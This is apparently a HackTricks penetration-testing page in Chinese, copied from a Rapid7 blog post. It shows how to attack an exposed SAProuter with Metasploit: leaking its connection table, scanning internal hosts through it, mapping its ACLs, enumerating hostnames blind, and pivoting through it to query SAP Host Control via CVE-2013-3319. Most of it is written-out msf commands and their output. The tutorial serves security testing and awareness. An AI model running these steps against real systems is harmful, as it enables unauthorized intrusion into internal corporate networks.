hacktricks/network-services-pentesting/3299-pentesting-saprouter.md
2023-08-03 19:12:22 +00:00

20 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Copy of: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

使用Metasploit穿透SAProuter

Saprouter基本上是SAP系统的反向代理通常位于互联网和内部SAP系统之间。它的主要目的是允许来自互联网上的主机对内部SAP系统进行受控访问因为它可以比典型防火墙更精细地控制SAP协议。

这意味着saprouter通常会暴露在互联网上通过在组织的防火墙上允许对saprouter主机的入站TCP端口3299的访问。从saprouter上至少应该能够访问到内部的SAP服务器。这使得它成为一个非常有趣的目标因为它可以提供进入“高价值”网络的途径。

下图显示了一个基本的网络设置,我们将在示例中使用该设置:

首先,我们将使用sap_service_discovery模块对暴露的IP地址进行SAP服务扫描本例中为1.2.3.101。

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

扫描结果显示主机在预期的TCP 3299端口上运行着SAP路由器。现在我们可以深入挖掘并尝试从saprouter获取一些信息。如果它被错误配置了而且通常它们都是这样可能可以获取内部信息例如通过saprouter与内部主机建立的连接。为此我们使用sap_router_info_request模块:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

所以从输出中我们可以看到互联网上的某个人1.2.3.12连接到内部主机192.168.1.18的3200端口。3200端口是DIAG协议的常见SAP端口SAP GUI应用程序连接到SAP服务器的地方。我们还获得了关于内部IP寻址方案的信息他们很可能使用的是192.168.1.0/24网络或者该网络中的某个子网。

枚举内部主机和服务

有了这些信息我们现在可以开始扫描内部网络了。由于saprouter的工作方式类似于代理我们将尝试连接到它并请求连接到内部主机和端口并查看saprouter的回复。这可能会更深入地了解内部主机、服务和ACL的情况这取决于saprouter的配置。我们将使用sap_router_portscanner模块来实现这个目的。

该模块连接到saprouter并请求连接到其他主机在TARGETS选项中定义的特定TCP端口。然后分析回复并判断所请求的连接是否可能。该模块提供了一些可用的选项

Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

至少你需要设置saprouter的IP地址在这个例子中是1.2.3.101。然后将TARGETS设置为您想要扫描的内部网络地址最后使用TCP端口设置PORTS。

该模块还提供了一个INSTANCES选项可以简化PORTS选项的定义。SAP安装支持多个实例提供类似的服务因此每个实例都分配了TCP端口。例如SAP实例00将在端口3200上提供SAP调度服务SAP GUI连接到该服务实例01将在端口3201上提供该服务。PORTS选项支持一个“通配符”即“NN”它将被实例号替换因此可以扫描所有定义的实例的端口。因此如果我们想要扫描从00到50的实例可以按照以下方式定义INSTANCES和PORTS变量

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

使用此设置模块将扫描3200到3250范围内的端口。

在模块的源代码中您可以找到有关SAP系统常见默认端口的信息我们将使用这些信息进行扫描

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

我们可以尝试使用VERBOSE选项来了解为什么一些连接不能通过saprouter。当VERBOSE设置为true时我们可以看到saprouter的响应并映射定义的ACL。

现在我们将扫描192.168.1.18和192.168.1.1主机但只在端口3200上以查看是否可以连接到两个SAP调度程序

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

正如您所见我们现在也知道我们无法连接到端口3200上的其他主机因为它被saprouter上定义的ACL阻止了。

映射ACL

关于saprouter的一个有趣之处是它支持两种类型的连接

  • 本机连接 - 这些连接只是TCP连接
  • SAP协议 - 这些是带有变化的TCP连接协议规定所有消息都以4个字节的长度开始指示接下来的内容的长度。

SAP协议是特定于saprouter的是SAP GUI用于通过saprouter连接到SAP DIAG端口的协议。本机协议用于允许其他类型的连接通过saprouter。

此模块允许在扫描中通过MODE选项指定要测试的连接类型。默认值是SAP协议这是在生产中最有可能使用的。然而发现允许通过saprouter的其他服务使用本机TCP连接的情况并不罕见。

我们可以将MODE设置为TCP以评估是否允许此类连接。我们现在将扫描内部主机分别在端口3200SAP DIAG和80HTTP将VERBOSE设置为true在实例00和01上观察结果

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed

从输出和之前的信息中我们现在知道ACL的设置如下

  • 允许从任何主机的TCP连接到192.168.1.1的80端口
  • 允许从任何主机的TCP连接到192.168.1.18的80端口
  • 允许从任何主机的TCP连接到192.168.1.1的3201端口
  • 允许从任何主机的TCP连接到192.168.1.18的3201端口
  • 允许从任何主机的SAP连接到192.168.1.18的3200端口

盲目枚举内部主机

如果你还记得我们开始时是通过获取saprouter的信息来知道内部主机的IP地址然后从那里继续。但是如果saprouter没有提供这些信息怎么办呢

一种选择是直接开始扫描私有地址空间,看看会发生什么。另一种选择是通过主机名盲目枚举主机。

Saprouters能够解析我们请求连接的主机名。当saprouter无法连接时saprouter会友好地告诉我们错误信息你可以通过取消注释模块源代码的第242行来查看原始响应

有了这个功能,我们可以通过主机名枚举内部主机,并尝试直接获取目标!

为此我们需要将RESOLVE选项设置为“remote”。在这种情况下模块将请求连接到定义的目标而不会在本地解析它们我们可以尝试猜测内部主机并最终在不知道其IP地址的情况下连接到它们。

在盲目枚举主机时需要记住的重要事项:

  • 将VERBOSE设置为true
  • 如果将MODE设置为SAP_PROTO我们将从saprouter获取更多信息
  • 只需设置一个端口进行扫描即可因为我们此时只对saprouter发送的信息感兴趣尝试使用3200
  • 结果将根据配置的ACL而有所不同。不幸的是被阻止的连接不会给我们太多信息。

在这个例子中我们将尝试使用主机名sap、sapsrv和sapsrv2。

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

从输出中我们可以看到主机“sap”不存在但是主机sapsrv存在尽管无法访问而sapsrv2存在并且我们可以连接到端口3200。

这种技术也可以用来尝试查找网络上的其他主机与SAP无关只需尝试使用常见的主机名如smtp、exchange、pdc、bdc、fileshare、intranet或者您在技巧包中还有其他好的主机名。

最后一英里

现在我们已经获得了所有这些信息我们知道了可用的内部主机、允许的服务以及我们可以使用的协议来穿透saprouter我们实际上可以连接到内部服务器并继续进行渗透测试。

Metasploit为我们提供了一种很棒的方式来使用saprouter作为代理使用Proxies选项感谢Dave Hartley@nmonkee)。

因此在这一点上我们想要开始收集有关我们在主机192.168.1.18上发现的内部sap服务器的信息。作为示例我们将使用模块sap_hostctrl_getcomputersystem该模块利用CVE-2013-3319并通过未经身份验证的SOAP请求查询端口1128上的SAP Host Control服务从而为我们提供有关服务器正在运行的操作系统的详细信息。我们将通过saprouter进行枢轴转向使用metasploit中的代理支持

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

如果一切顺利你将在loot中获得模块的良好输出其中包含来自目标SAP主机的有趣的内部信息例如内部用户名然后可以尝试暴力破解

枢轴技术可以而且应该用于对内部主机运行其他模块不仅限于SAP系统

结论

我们已经看到了如何利用弱saprouter配置从互联网上访问内部主机而这一切只使用了metasploit对SAP系统进行渗透测试的支持。

我希望本文能够帮助揭示saprouter部署所带来的风险以及SAP安全的一般情况。

参考资料

Shodan

  • port:3299 !HTTP Network packet too big
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥